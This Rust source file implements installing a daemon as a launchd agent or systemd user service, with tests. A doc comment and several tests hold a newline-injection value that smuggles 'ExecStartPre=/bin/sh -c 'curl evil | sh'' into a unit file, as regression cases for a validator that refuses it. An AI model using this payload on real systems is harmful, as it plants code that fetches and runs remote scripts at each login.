Skip to main content

leviath_cli/commands/
daemon_service.rs

1//! `lev daemon install` / `lev daemon uninstall` - hand the daemon to the OS
2//! supervisor so it comes back by itself after a crash.
3//!
4//! Without supervision, nothing restarts the daemon when it dies: a
5//! long-running agent simply stops, and the next `lev run` is the only thing
6//! that brings the daemon back. Registering a launchd agent (macOS) or a systemd *user*
7//! unit (Linux) with a restart policy closes that gap - and on the next start
8//! the daemon's own recovery pass reloads every interrupted run.
9//!
10//! This module is the tested core: rendering the unit file, resolving where it
11//! goes, writing/removing it, and building the activation command line. Running
12//! that command is real subprocess I/O and lives in the binary.
13//!
14//! Platform differences are `#[cfg]`-gated rather than branched at runtime, so
15//! each target compiles exactly the code it uses (and covers all of it).
16
17use std::path::{Path, PathBuf};
18
19use anyhow::{Context, Result};
20
21/// The reverse-DNS label both platforms key the service by.
22pub const SERVICE_LABEL: &str = "dev.leviath.daemon";
23
24/// Labels earlier releases registered the launchd agent under (the project
25/// predates its move off the Sun Forge organization). Install and uninstall
26/// also deregister these, so upgrading across the rename cannot leave a
27/// second supervised daemon running under the old name.
28#[cfg(target_os = "macos")]
29pub const LEGACY_SERVICE_LABELS: &[&str] = &["ai.sunforge.leviath"];
30
31/// A supervisor invocation: the program to run and its arguments.
32///
33/// `launchctl` and `systemctl` are both spawned this way. Named rather than
34/// written out at each of the six places it appears, because a bare
35/// `(String, Vec<String>)` says nothing about which of the two strings is the
36/// program.
37pub type SupervisorCommand = (String, Vec<String>);
38
39/// The cleanup a legacy label needs: the unit file it wrote and the
40/// `launchctl bootout` that deregisters it. Pure data - running the commands
41/// is the caller's subprocess I/O, same split as [`ServiceUnit`].
42#[cfg(target_os = "macos")]
43pub fn legacy_cleanup(config_home: &Path, uid: u32) -> Vec<(PathBuf, SupervisorCommand)> {
44    LEGACY_SERVICE_LABELS
45        .iter()
46        .map(|label| {
47            (
48                config_home.join(format!("{label}.plist")),
49                (
50                    "launchctl".to_string(),
51                    vec!["bootout".to_string(), format!("gui/{uid}/{label}")],
52                ),
53            )
54        })
55        .collect()
56}
57
58/// Where a supervised daemon's stdout/stderr are appended, under the leviath
59/// home directory. Only the platforms with a supervisor render a unit file.
60#[cfg(any(target_os = "macos", target_os = "linux"))]
61const LOG_FILE: &str = "daemon.log";
62
63/// A rendered service definition and where it belongs.
64#[derive(Debug, Clone, PartialEq, Eq)]
65pub struct ServiceUnit {
66    /// Absolute path the unit file is written to.
67    pub path: PathBuf,
68    /// The file's contents.
69    pub contents: String,
70    /// Command + args that tell the supervisor to pick it up.
71    pub activate: SupervisorCommand,
72    /// Command + args that tell the supervisor to let it go.
73    pub deactivate: SupervisorCommand,
74}
75
76// ── macOS: a launchd user agent ──────────────────────────────────────────────
77
78/// Build the service definition for this platform.
79///
80/// `exe` is the absolute path to the `lev` binary, `home` the leviath home
81/// directory (the unit points the daemon at it explicitly, since a supervised
82/// process inherits none of the user's shell environment), `config_home` the
83/// directory the unit file is written into, and `uid` the user's numeric id
84/// (launchd addresses per-user domains by it).
85#[cfg(target_os = "macos")]
86pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
87    let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
88    Ok(ServiceUnit {
89        contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
90        activate: (
91            "launchctl".to_string(),
92            vec![
93                "bootstrap".to_string(),
94                format!("gui/{uid}"),
95                display(&path),
96            ],
97        ),
98        deactivate: (
99            "launchctl".to_string(),
100            vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
101        ),
102        path,
103    })
104}
105
106/// Where the unit file goes, relative to the user's home directory.
107#[cfg(target_os = "macos")]
108pub fn config_home(user_home: &Path) -> Result<PathBuf> {
109    Ok(user_home.join("Library").join("LaunchAgents"))
110}
111
112/// A launchd user agent that starts the daemon at login and restarts it
113/// whenever it exits - including the `abort()` this issue was about.
114#[cfg(target_os = "macos")]
115fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
116    format!(
117        r#"<?xml version="1.0" encoding="UTF-8"?>
118<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
119<plist version="1.0">
120<dict>
121    <key>Label</key>
122    <string>{label}</string>
123    <key>ProgramArguments</key>
124    <array>
125        <string>{exe}</string>
126        <string>daemon</string>
127    </array>
128    <key>EnvironmentVariables</key>
129    <dict>
130        <key>LEVIATH_HOME</key>
131        <string>{home}</string>
132    </dict>
133    <key>RunAtLoad</key>
134    <true/>
135    <key>KeepAlive</key>
136    <true/>
137    <key>ThrottleInterval</key>
138    <integer>10</integer>
139    <key>StandardOutPath</key>
140    <string>{log}</string>
141    <key>StandardErrorPath</key>
142    <string>{log}</string>
143</dict>
144</plist>
145"#,
146        label = SERVICE_LABEL,
147        exe = xml_escape(&display(exe)),
148        home = xml_escape(&display(home)),
149        log = xml_escape(&display(log)),
150    )
151}
152
153/// Escape the five XML metacharacters so an odd path can't break the plist.
154#[cfg(target_os = "macos")]
155fn xml_escape(s: &str) -> String {
156    let mut out = String::with_capacity(s.len());
157    for c in s.chars() {
158        match c {
159            '&' => out.push_str("&amp;"),
160            '<' => out.push_str("&lt;"),
161            '>' => out.push_str("&gt;"),
162            '"' => out.push_str("&quot;"),
163            '\'' => out.push_str("&apos;"),
164            _ => out.push(c),
165        }
166    }
167    out
168}
169
170// ── Linux: a systemd user unit ───────────────────────────────────────────────
171
172/// Build the service definition for this platform (see the macOS variant for
173/// the argument contract; `uid` is unused here - systemd's `--user` mode
174/// already addresses the calling user's manager).
175#[cfg(target_os = "linux")]
176pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
177    Ok(ServiceUnit {
178        path: config_home.join("leviath.service"),
179        contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
180        activate: (
181            "systemctl".to_string(),
182            vec![
183                "--user".to_string(),
184                "enable".to_string(),
185                "--now".to_string(),
186                "leviath.service".to_string(),
187            ],
188        ),
189        deactivate: (
190            "systemctl".to_string(),
191            vec![
192                "--user".to_string(),
193                "disable".to_string(),
194                "--now".to_string(),
195                "leviath.service".to_string(),
196            ],
197        ),
198    })
199}
200
201/// Where the unit file goes, relative to the user's home directory.
202#[cfg(target_os = "linux")]
203pub fn config_home(user_home: &Path) -> Result<PathBuf> {
204    Ok(user_home.join(".config").join("systemd").join("user"))
205}
206
207/// Reject a value that cannot be safely interpolated into a systemd unit file.
208///
209/// A unit file is line-oriented `Key=Value`, so a newline in an interpolated
210/// value starts a **new directive**. `home` derives from `LEVIATH_HOME`, so a
211/// value like `/tmp\nExecStartPre=/bin/sh -c 'curl evil | sh'` injected an
212/// arbitrary command that then ran at every login. The macOS plist path is
213/// XML-escaped and was never exposed to this; the systemd path had no escaping
214/// at all.
215///
216/// Refusing is right rather than escaping: systemd has no general quoting for
217/// this position, and no legitimate path contains a newline.
218///
219/// Not `#[cfg(target_os = "linux")]` even though only the Linux path calls it:
220/// it is pure string logic, and gating it would mean the check could only be
221/// exercised on one platform's CI runner. A security control should be testable
222/// wherever the tests run.
223///
224/// `pub` (in an already-public module) rather than private-plus-`allow(dead_code)`:
225/// on a non-Linux build nothing calls it, and suppressing the warning would be
226/// hiding the fact rather than stating it. It is genuinely part of this module's
227/// surface - the systemd renderer's input contract.
228pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
229    let s = display(value);
230    if s.contains('\n') || s.contains('\r') {
231        anyhow::bail!(
232            "refusing to write a systemd unit: the {label} path contains a newline, \
233             which would inject additional unit directives"
234        );
235    }
236    Ok(s)
237}
238
239/// A systemd *user* unit (no root needed) with the same restart policy.
240///
241/// Compiled on every platform (it is pure string assembly) so its tests run
242/// everywhere; only the caller that installs it is Linux-gated.
243pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
244    let exe = unit_safe("executable", exe)?;
245    let home = unit_safe("LEVIATH_HOME", home)?;
246    let log = unit_safe("log", log)?;
247    Ok(format!(
248        "[Unit]\n\
249         Description=Leviath shared-world agent daemon\n\
250         After=network-online.target\n\
251         \n\
252         [Service]\n\
253         Type=simple\n\
254         ExecStart={exe} daemon\n\
255         Environment=LEVIATH_HOME={home}\n\
256         Restart=always\n\
257         RestartSec=10\n\
258         StandardOutput=append:{log}\n\
259         StandardError=append:{log}\n\
260         \n\
261         [Install]\n\
262         WantedBy=default.target\n",
263    ))
264}
265
266// ── Everywhere else: no supported user-level supervisor ──────────────────────
267
268/// The error shown on a platform with no supported user-level supervisor.
269#[cfg(not(any(target_os = "macos", target_os = "linux")))]
270const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
271                           units); on this platform, start `lev daemon` from your own login script";
272
273/// No user-level supervisor is wired up for this platform.
274#[cfg(not(any(target_os = "macos", target_os = "linux")))]
275pub fn service_unit(
276    _exe: &Path,
277    _home: &Path,
278    _config_home: &Path,
279    _uid: u32,
280) -> Result<ServiceUnit> {
281    anyhow::bail!(UNSUPPORTED)
282}
283
284/// No user-level supervisor is wired up for this platform.
285#[cfg(not(any(target_os = "macos", target_os = "linux")))]
286pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
287    anyhow::bail!(UNSUPPORTED)
288}
289
290// ── Platform-independent ─────────────────────────────────────────────────────
291
292/// Write `unit` to disk, creating its parent directory. Returns the path.
293pub fn install(unit: &ServiceUnit) -> Result<&Path> {
294    if let Some(parent) = unit.path.parent() {
295        std::fs::create_dir_all(parent)
296            .with_context(|| format!("creating {}", parent.display()))?;
297    }
298    std::fs::write(&unit.path, &unit.contents)
299        .with_context(|| format!("writing {}", unit.path.display()))?;
300    Ok(&unit.path)
301}
302
303/// Remove the unit file. Returns whether there was one to remove.
304pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
305    match std::fs::remove_file(&unit.path) {
306        Ok(()) => Ok(true),
307        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
308        Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
309    }
310}
311
312/// Turn a failed supervisor command into the error the user reads.
313///
314/// Split from the spawn so the message is tested: it names the command that
315/// failed, because "`launchctl` failed" with no argv is unactionable, and the
316/// argv is the part a user can retry by hand.
317pub fn supervisor_failure(cmd: &SupervisorCommand, stderr: &[u8]) -> anyhow::Error {
318    anyhow::anyhow!(
319        "`{} {}` failed: {}",
320        cmd.0,
321        cmd.1.join(" "),
322        String::from_utf8_lossy(stderr).trim()
323    )
324}
325
326/// Deregister and delete every service registration left under a previous
327/// label, returning the paths actually removed so the caller can report them.
328///
329/// Best-effort by design: on a machine that never carried the old label, every
330/// step is a no-op. The effects are injected so that "which files does this
331/// decide to remove" is testable without a supervisor or a real home
332/// directory - `run` deregisters, `remove` deletes and says whether there was
333/// anything there.
334#[cfg(target_os = "macos")]
335pub fn remove_legacy_with(
336    user_home: Option<PathBuf>,
337    uid: u32,
338    run: &mut dyn FnMut(&SupervisorCommand),
339    remove: &mut dyn FnMut(&Path) -> bool,
340) -> Vec<PathBuf> {
341    let Some(user_home) = user_home else {
342        return Vec::new();
343    };
344    // Infallible here: the macOS `config_home` only joins onto the home path.
345    // A `let Ok(..) else` would be a branch this platform can never take.
346    let config_home = config_home(&user_home)
347        .expect("infallible: the macOS config_home only joins onto the home path");
348    let mut removed = Vec::new();
349    for (path, bootout) in legacy_cleanup(&config_home, uid) {
350        run(&bootout);
351        if remove(&path) {
352            removed.push(path);
353        }
354    }
355    removed
356}
357
358/// Register the service with the platform supervisor, returning the lines to
359/// report.
360///
361/// The *order* is the part worth testing and the part that was easy to get
362/// wrong: re-registering a live service is an error on both platforms, so any
363/// previous registration is dropped first and legacy labels are cleaned before
364/// the new one is activated. Get that backwards and `install` stops being
365/// idempotent, or leaves a second supervised daemon behind.
366///
367/// Deactivation is deliberately unchecked. It fails when nothing is registered,
368/// which is the normal case on a first install and not a problem.
369///
370/// The effects are injected for the same reason `remove_legacy_with`'s are
371/// (deliberately not a link: that function is macOS-only, so the link would not
372/// resolve when rustdoc runs on any other platform):
373/// `run` shells out to `launchctl`/`systemctl`, and nothing about the sequence
374/// needs a real supervisor to be checked.
375pub fn install_with(
376    unit: &ServiceUnit,
377    run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
378    remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
379) -> Result<Vec<String>> {
380    let path = install(unit)?;
381    let mut lines = vec![format!("wrote {}", path.display())];
382    let _ = run(&unit.deactivate);
383    lines.extend(
384        remove_legacy()
385            .iter()
386            .map(|p| format!("removed legacy service file {}", p.display())),
387    );
388    run(&unit.activate)?;
389    lines.push("the leviath daemon is now supervised and will restart automatically".to_string());
390    Ok(lines)
391}
392
393/// Deregister the service and remove its file, returning the lines to report.
394///
395/// Deregistration is unchecked for the same reason it is in [`install_with`]:
396/// it fails when nothing is registered, and that is the desired end state
397/// either way. Only the file removal is reported, because it is the only step
398/// whose outcome the user could not have predicted.
399pub fn uninstall_with(
400    unit: &ServiceUnit,
401    run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
402    remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
403) -> Result<Vec<String>> {
404    let _ = run(&unit.deactivate);
405    let mut lines: Vec<String> = remove_legacy()
406        .iter()
407        .map(|p| format!("removed legacy service file {}", p.display()))
408        .collect();
409    lines.push(match uninstall(unit)? {
410        true => format!("removed {}", unit.path.display()),
411        false => "no leviath service was installed".to_string(),
412    });
413    Ok(lines)
414}
415
416/// The line `lev daemon status` adds about supervision.
417pub fn format_supervision(installed: bool, path: &Path) -> String {
418    if installed {
419        format!("supervised: yes ({})", path.display())
420    } else {
421        "supervised: no (`lev daemon install` restarts it automatically)".to_string()
422    }
423}
424
425/// A path as a string, lossily - these are user home paths, valid UTF-8 in
426/// every case that matters, and a lossy rendering beats failing.
427///
428/// Not gated to the platforms with a supervisor, even though only they build a
429/// unit file: `unit_safe` is unconditional (see its own note), and a helper it
430/// calls cannot be narrower than its caller. Gating it broke the Windows build
431/// outright.
432fn display(path: &Path) -> String {
433    path.to_string_lossy().into_owned()
434}
435
436#[cfg(test)]
437mod tests {
438    use super::*;
439
440    // ─── supervisor_failure ───────────────────────────────────────────────
441
442    #[test]
443    fn supervisor_failure_names_the_command_and_its_stderr() {
444        let err = supervisor_failure(
445            &(
446                "launchctl".to_string(),
447                vec!["bootstrap".to_string(), "gui/501".to_string()],
448            ),
449            b"  Load failed: 5: Input/output error\n",
450        )
451        .to_string();
452        // The argv, so the user can retry it by hand.
453        assert!(err.contains("`launchctl bootstrap gui/501`"), "{err}");
454        // The supervisor's own words, trimmed.
455        assert!(err.contains("Load failed: 5: Input/output error"), "{err}");
456        assert!(!err.contains('\n'), "stderr should be trimmed: {err}");
457    }
458
459    #[test]
460    fn supervisor_failure_survives_non_utf8_stderr() {
461        let err = supervisor_failure(&("x".to_string(), vec![]), &[0xff, 0xfe]).to_string();
462        assert!(err.contains("`x `"), "{err}");
463    }
464
465    // ─── remove_legacy_with (macOS only: nothing else ever had a rename) ──
466
467    /// Both halves in one test on purpose. A separate no-home case would pass
468    /// closures that are never called, and an uncalled closure body is an
469    /// uncovered region - the gate would read a correct test as a hole.
470    #[cfg(target_os = "macos")]
471    #[test]
472    fn remove_legacy_with_no_home_directory_does_nothing() {
473        let calls = std::cell::Cell::new(0);
474        let mut run = |_: &SupervisorCommand| calls.set(calls.get() + 1);
475        let mut remove = |_: &Path| {
476            calls.set(calls.get() + 1);
477            false
478        };
479
480        assert!(remove_legacy_with(None, 501, &mut run, &mut remove).is_empty());
481        assert_eq!(calls.get(), 0, "no home means no supervisor and no unlink");
482
483        // The same closures against a real home, so both bodies run and the
484        // zero above is a measured difference rather than an absence.
485        assert!(
486            remove_legacy_with(Some(PathBuf::from("/u")), 501, &mut run, &mut remove).is_empty()
487        );
488        assert!(calls.get() > 0, "the injected effects were never reached");
489    }
490
491    #[cfg(target_os = "macos")]
492    #[test]
493    fn remove_legacy_with_deregisters_before_deleting() {
494        // Order matters: deleting the plist first would leave the label still
495        // bootstrapped with no file to point at.
496        let events: std::cell::RefCell<Vec<String>> = std::cell::RefCell::new(Vec::new());
497        let removed = remove_legacy_with(
498            Some(PathBuf::from("/u")),
499            501,
500            &mut |cmd| {
501                events
502                    .borrow_mut()
503                    .push(format!("run {} {}", cmd.0, cmd.1.join(" ")));
504            },
505            &mut |path| {
506                events
507                    .borrow_mut()
508                    .push(format!("remove {}", path.display()));
509                true
510            },
511        );
512        let events = events.into_inner();
513        assert_eq!(removed.len(), LEGACY_SERVICE_LABELS.len());
514        assert!(events[0].starts_with("run launchctl bootout"), "{events:?}");
515        assert!(events[1].starts_with("remove "), "{events:?}");
516    }
517
518    /// A unit that needs no platform support to construct, for the shared
519    /// filesystem helpers.
520    fn bare_unit(path: PathBuf) -> ServiceUnit {
521        ServiceUnit {
522            path,
523            contents: "unit body\n".to_string(),
524            activate: ("sup".to_string(), vec!["on".to_string()]),
525            deactivate: ("sup".to_string(), vec!["off".to_string()]),
526        }
527    }
528
529    /// Record every supervisor command, so the *order* can be asserted rather
530    /// than just the outcome.
531    type SupervisorLog = std::rc::Rc<std::cell::RefCell<Vec<String>>>;
532
533    fn recording() -> (SupervisorLog, impl FnMut(&SupervisorCommand) -> Result<()>) {
534        let log: SupervisorLog = Default::default();
535        let sink = log.clone();
536        (log, move |cmd: &SupervisorCommand| {
537            sink.borrow_mut().push(cmd.1.join(" "));
538            Ok(())
539        })
540    }
541
542    /// The ordering is the whole point: deactivate, clean legacy labels, *then*
543    /// activate. Re-registering a live service is an error on both platforms,
544    /// so activating first makes `install` non-idempotent.
545    #[test]
546    fn install_deactivates_and_cleans_before_it_activates() {
547        let dir = tempfile::tempdir().unwrap();
548        let unit = bare_unit(dir.path().join("leviath.unit"));
549        let (log, mut run) = recording();
550        let legacy = dir.path().join("old.plist");
551        let mut remove_legacy = || vec![legacy.clone()];
552
553        let lines = install_with(&unit, &mut run, &mut remove_legacy).unwrap();
554        assert_eq!(
555            *log.borrow(),
556            ["off", "on"],
557            "activated before deactivating"
558        );
559        assert!(lines[0].starts_with("wrote "), "{lines:?}");
560        assert!(lines[1].contains("legacy service file"), "{lines:?}");
561        assert!(lines[2].contains("supervised"), "{lines:?}");
562        assert!(unit.path.exists());
563    }
564
565    /// A failed *activation* is the one that matters, and must not be swallowed
566    /// the way the deactivation is.
567    #[test]
568    fn install_reports_a_failed_activation() {
569        let dir = tempfile::tempdir().unwrap();
570        let unit = bare_unit(dir.path().join("leviath.unit"));
571        let mut run = |cmd: &SupervisorCommand| match cmd.1[0].as_str() {
572            "on" => Err(anyhow::anyhow!("supervisor said no")),
573            _ => Ok(()),
574        };
575        let err = install_with(&unit, &mut run, &mut Vec::new)
576            .expect_err("a failed activation propagates");
577        assert!(err.to_string().contains("supervisor said no"), "{err}");
578    }
579
580    /// Deregistration fails when nothing is registered, which is the normal
581    /// first-run case. Propagating it would make `uninstall` fail on a machine
582    /// that simply had nothing installed.
583    #[test]
584    fn uninstall_ignores_a_failed_deregistration() {
585        let dir = tempfile::tempdir().unwrap();
586        let unit = bare_unit(dir.path().join("leviath.unit"));
587        install(&unit).unwrap();
588        let mut run = |_: &SupervisorCommand| Err(anyhow::anyhow!("nothing registered"));
589
590        let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
591        assert_eq!(lines, [format!("removed {}", unit.path.display())]);
592        assert!(!unit.path.exists());
593    }
594
595    /// A unit file that cannot be written stops the install before anything
596    /// reaches the supervisor - registering a service whose file is missing
597    /// would leave the machine referencing nothing.
598    #[test]
599    fn install_stops_when_the_unit_cannot_be_written() {
600        let dir = tempfile::tempdir().unwrap();
601        // A *file* where the unit's parent directory would go, so
602        // `create_dir_all` cannot succeed.
603        let blocker = dir.path().join("blocked");
604        std::fs::write(&blocker, "not a directory").unwrap();
605        let unit = bare_unit(blocker.join("nested").join("leviath.unit"));
606        let (log, mut run) = recording();
607
608        assert!(install_with(&unit, &mut run, &mut Vec::new).is_err());
609        assert!(
610            log.borrow().is_empty(),
611            "the supervisor was called for a unit that was never written"
612        );
613    }
614
615    /// A unit path that cannot be removed is an error, and distinct from one
616    /// that was not there - "no leviath service was installed" would be a lie
617    /// about a file still sitting on disk.
618    #[test]
619    fn uninstall_propagates_a_removal_it_could_not_do() {
620        let dir = tempfile::tempdir().unwrap();
621        // A directory where the unit file would be: `remove_file` refuses it
622        // with something other than NotFound on every platform.
623        let unit = bare_unit(dir.path().join("leviath.unit"));
624        std::fs::create_dir(&unit.path).unwrap();
625        let (_log, mut run) = recording();
626
627        assert!(uninstall_with(&unit, &mut run, &mut Vec::new).is_err());
628    }
629
630    /// Legacy files removed during an uninstall are reported too, not only
631    /// during an install.
632    #[test]
633    fn uninstall_reports_legacy_files_it_removed() {
634        let dir = tempfile::tempdir().unwrap();
635        let unit = bare_unit(dir.path().join("leviath.unit"));
636        install(&unit).unwrap();
637        let legacy = dir.path().join("old.plist");
638        let mut remove_legacy = || vec![legacy.clone()];
639        let (_log, mut run) = recording();
640
641        let lines = uninstall_with(&unit, &mut run, &mut remove_legacy).unwrap();
642        assert!(lines[0].contains("legacy service file"), "{lines:?}");
643        assert!(lines[1].starts_with("removed "), "{lines:?}");
644    }
645
646    /// Nothing to remove reads differently from something removed, so a user
647    /// can tell "cleaned up" from "there was nothing there".
648    #[test]
649    fn uninstall_says_when_there_was_nothing_installed() {
650        let dir = tempfile::tempdir().unwrap();
651        let unit = bare_unit(dir.path().join("absent.unit"));
652        let (log, mut run) = recording();
653
654        let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
655        assert_eq!(lines, ["no leviath service was installed"]);
656        assert_eq!(*log.borrow(), ["off"]);
657    }
658
659    #[test]
660    fn install_writes_then_uninstall_removes_exactly_once() {
661        let dir = tempfile::tempdir().unwrap();
662        let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
663
664        let written = install(&unit).unwrap().to_path_buf();
665        assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
666        assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
667        assert!(
668            !uninstall(&unit).unwrap(),
669            "second is a no-op, not an error"
670        );
671    }
672
673    #[test]
674    fn install_and_uninstall_surface_io_errors() {
675        let dir = tempfile::tempdir().unwrap();
676        // A file where the parent directory should be ⇒ create_dir_all fails.
677        let blocker = dir.path().join("blocker");
678        std::fs::write(&blocker, "x").unwrap();
679        assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
680
681        // A *directory* where the unit file should be: the parent exists, so
682        // create_dir_all succeeds and the write itself is what fails.
683        let occupied = dir.path().join("occupied");
684        std::fs::create_dir(&occupied).unwrap();
685        assert!(install(&bare_unit(occupied.clone())).is_err());
686
687        // Removing a directory as if it were the unit file is a real error,
688        // distinct from "there was nothing to remove".
689        assert!(uninstall(&bare_unit(occupied)).is_err());
690
691        // A path with no parent directory to create (the `if let` falls through
692        // straight to the write, which then fails on the empty path).
693        assert!(install(&bare_unit(PathBuf::new())).is_err());
694    }
695
696    #[test]
697    fn supervision_status_reads_both_ways() {
698        let path = Path::new("/home/u/unit");
699        assert!(format_supervision(true, path).contains("yes"));
700        assert!(format_supervision(true, path).contains("/home/u/unit"));
701        assert!(format_supervision(false, path).contains("no"));
702    }
703
704    // ── Platforms with a supervisor ──────────────────────────────────────────
705
706    #[cfg(any(target_os = "macos", target_os = "linux"))]
707    mod supported {
708        use super::*;
709
710        fn unit() -> ServiceUnit {
711            service_unit(
712                Path::new("/usr/local/bin/lev"),
713                Path::new("/home/u/.leviath"),
714                Path::new("/tmp/lev-units"),
715                501,
716            )
717            .expect("this platform has a supervisor")
718        }
719
720        #[test]
721        fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
722            let u = unit();
723            assert!(u.contents.contains("/usr/local/bin/lev"));
724            assert!(u.contents.contains("/home/u/.leviath"));
725            assert!(u.contents.contains(LOG_FILE));
726            // Activation and deactivation drive the same supervisor.
727            assert_eq!(u.activate.0, u.deactivate.0);
728            assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
729            assert!(u.path.starts_with("/tmp/lev-units"));
730            // The unit file lives under the user's home.
731            let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
732            assert!(home.starts_with("/home/u"));
733        }
734    }
735
736    #[cfg(target_os = "macos")]
737    mod macos {
738        use super::*;
739
740        #[test]
741        fn paths_with_xml_metacharacters_are_escaped() {
742            assert_eq!(
743                xml_escape("a&b<c>d\"e'f"),
744                "a&amp;b&lt;c&gt;d&quot;e&apos;f"
745            );
746            assert_eq!(xml_escape("plain/path"), "plain/path");
747        }
748
749        #[test]
750        fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
751            let u = service_unit(
752                Path::new("/usr/local/bin/lev"),
753                Path::new("/home/u/.leviath"),
754                Path::new("/tmp/lev-units"),
755                501,
756            )
757            .unwrap();
758            assert_eq!(
759                u.path.file_name().unwrap().to_string_lossy(),
760                format!("{SERVICE_LABEL}.plist")
761            );
762            assert_eq!(u.activate.1[0], "bootstrap");
763            assert_eq!(u.activate.1[1], "gui/501");
764            assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
765            // The whole point: launchd brings the daemon back after a crash.
766            assert!(u.contents.contains("<key>KeepAlive</key>"));
767            assert!(u.contents.contains("<key>RunAtLoad</key>"));
768            assert!(
769                config_home(Path::new("/home/u"))
770                    .unwrap()
771                    .ends_with("LaunchAgents")
772            );
773        }
774
775        #[test]
776        fn legacy_cleanup_covers_every_old_label_with_a_bootout_and_a_plist() {
777            let actions = legacy_cleanup(Path::new("/tmp/lev-units"), 501);
778            assert_eq!(actions.len(), LEGACY_SERVICE_LABELS.len());
779            let (path, (cmd, args)) = &actions[0];
780            assert_eq!(
781                path.file_name().unwrap().to_string_lossy(),
782                "ai.sunforge.leviath.plist"
783            );
784            assert_eq!(cmd, "launchctl");
785            assert_eq!(args[0], "bootout");
786            assert_eq!(args[1], "gui/501/ai.sunforge.leviath");
787            // The rename is only safe because the old label is cleaned up;
788            // the current label must never appear in the legacy list.
789            assert!(!LEGACY_SERVICE_LABELS.contains(&SERVICE_LABEL));
790        }
791    }
792
793    #[cfg(target_os = "linux")]
794    mod linux {
795        use super::*;
796
797        #[test]
798        fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
799            let u = service_unit(
800                Path::new("/usr/local/bin/lev"),
801                Path::new("/home/u/.leviath"),
802                Path::new("/tmp/lev-units"),
803                501,
804            )
805            .unwrap();
806            assert_eq!(u.path.file_name().unwrap(), "leviath.service");
807            assert_eq!(
808                u.activate.1,
809                ["--user", "enable", "--now", "leviath.service"]
810            );
811            assert_eq!(
812                u.deactivate.1,
813                ["--user", "disable", "--now", "leviath.service"]
814            );
815            // The whole point: systemd brings the daemon back after a crash.
816            assert!(u.contents.contains("Restart=always"));
817            assert!(u.contents.contains("WantedBy=default.target"));
818            assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
819        }
820
821        /// The refusal has to be reachable through `service_unit`, not only
822        /// through `systemd_unit` directly: this is the Linux-only call site,
823        /// and `LEVIATH_HOME` is the value an attacker controls.
824        ///
825        /// It needs its own test because the propagation only exists on Linux -
826        /// on macOS this function is not compiled, so a macOS-only coverage run
827        /// cannot see the arm at all. That is exactly how it was missed.
828        #[test]
829        fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
830            let err = service_unit(
831                Path::new("/usr/local/bin/lev"),
832                Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
833                Path::new("/tmp/lev-units"),
834                501,
835            )
836            .expect_err("a newline in the home path must not reach the unit file");
837            assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
838        }
839    }
840
841    /// The systemd unit builder is pure string assembly, so these run on every
842    /// platform rather than only on a Linux CI runner.
843    mod systemd_unit_file {
844        use super::*;
845
846        #[test]
847        fn display_renders_a_path_losslessly_when_it_can() {
848            assert_eq!(display(Path::new("/a/b")), "/a/b");
849        }
850
851        #[test]
852        fn it_renders_the_expected_directives() {
853            let unit = systemd_unit(
854                Path::new("/usr/local/bin/lev"),
855                Path::new("/home/u/.leviath"),
856                Path::new("/home/u/.leviath/daemon.log"),
857            )
858            .unwrap();
859            assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
860            assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
861            assert!(unit.contains("Restart=always"));
862        }
863
864        /// A unit file is line-oriented `Key=Value`, so a newline in an
865        /// interpolated path starts a new *directive*. `home` derives from
866        /// `LEVIATH_HOME`, so this wrote an `ExecStartPre=` that then ran at
867        /// every login. There is no general quoting for this position in
868        /// systemd, so the value is refused rather than escaped - and no
869        /// legitimate path contains a newline.
870        #[test]
871        fn a_newline_in_an_interpolated_path_is_refused() {
872            let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
873            let err = systemd_unit(
874                Path::new("/usr/local/bin/lev"),
875                evil,
876                Path::new("/home/u/.leviath/daemon.log"),
877            )
878            .expect_err("a newline in LEVIATH_HOME must be refused");
879            assert!(err.to_string().contains("newline"), "got: {err}");
880            assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
881        }
882
883        /// Each interpolated position is checked, not just the first.
884        #[test]
885        fn every_interpolated_path_is_checked() {
886            let evil = Path::new("/x\nExecStartPre=/bin/false");
887            let good = Path::new("/home/u/.leviath");
888            assert!(systemd_unit(evil, good, good).is_err(), "executable");
889            assert!(systemd_unit(good, evil, good).is_err(), "home");
890            assert!(systemd_unit(good, good, evil).is_err(), "log");
891        }
892
